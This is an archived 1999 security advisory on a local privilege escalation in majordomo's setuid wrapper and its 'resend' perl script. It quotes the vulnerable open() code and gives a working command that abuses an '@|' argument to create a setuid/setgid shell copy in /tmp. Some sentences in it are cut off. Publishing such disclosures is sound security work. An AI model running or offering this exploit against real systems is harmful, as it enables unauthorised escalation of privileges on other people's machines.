Type packetstorm
Reporter Brock Tellier
Modified 1999-12-31T00:00:00


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Date: 28 Dec 99 20:47:44 CST  
From: Brock Tellier <>  
Subject: majordomo local exploit  
A vulnerability in majordomo allows local users to gain elevated  
I've only tested the version of majordomo which comes with UnixWare   
7.1 which is 1.94.4. This vulnerability may or not still be present   
in newer versions of majordomo, but it exists on the default UW7.1  
Thanks to rain.forest.puppy for his paper on how to exploit CGI/perl  
scripts, as it helped me out in this exploit. Grab it at  
The majordomo wrapper allows users to run programs in the  
/usr/local/majordomo directory with the uid of owner and the gid of  
daemon. The permissions for wrapper are:  
-rwsr-xr-x 1 root daemon 6464 Jan 4 1999  
but wrapper immediatly setuid()'s and setgid()'s to owner:daemon before  
execing the wrapped program.  
A vulnerability in "/usr/local/majordomo/resend" will allow us to execute  
arbitrary commands with our elevated privileges. The following code  
snippet appears in resend, a perl script:  
# If the first argument is "@filename", read the real arguments  
# from "filename", and shove them onto the ARGV for later processing  
# by &Getopts()  
if ($ARGV[0] =~ /^\@/) {  
$fn = shift(@ARGV);  
$fn =~ s/^@//;  
open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");  
As you can see, if our first argument to resend starts with a "@",   
resend will attempt to open() the filename. However, open() can   
also be used to run programs if the first argument to open() begins   
with a pipe "|". If our first argument is "@|id", resend will run   
the program "id" with full privileges.  
Our exploit is simple:  
bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh  
/tmp/xnec;chmod 6555 /tmp/xnec'  
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.  
bash-2.02$ ls -la /tmp/xnec  
-r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec  
Brock Tellier  
UNIX Systems Administrator  
Chicago, IL, USA  
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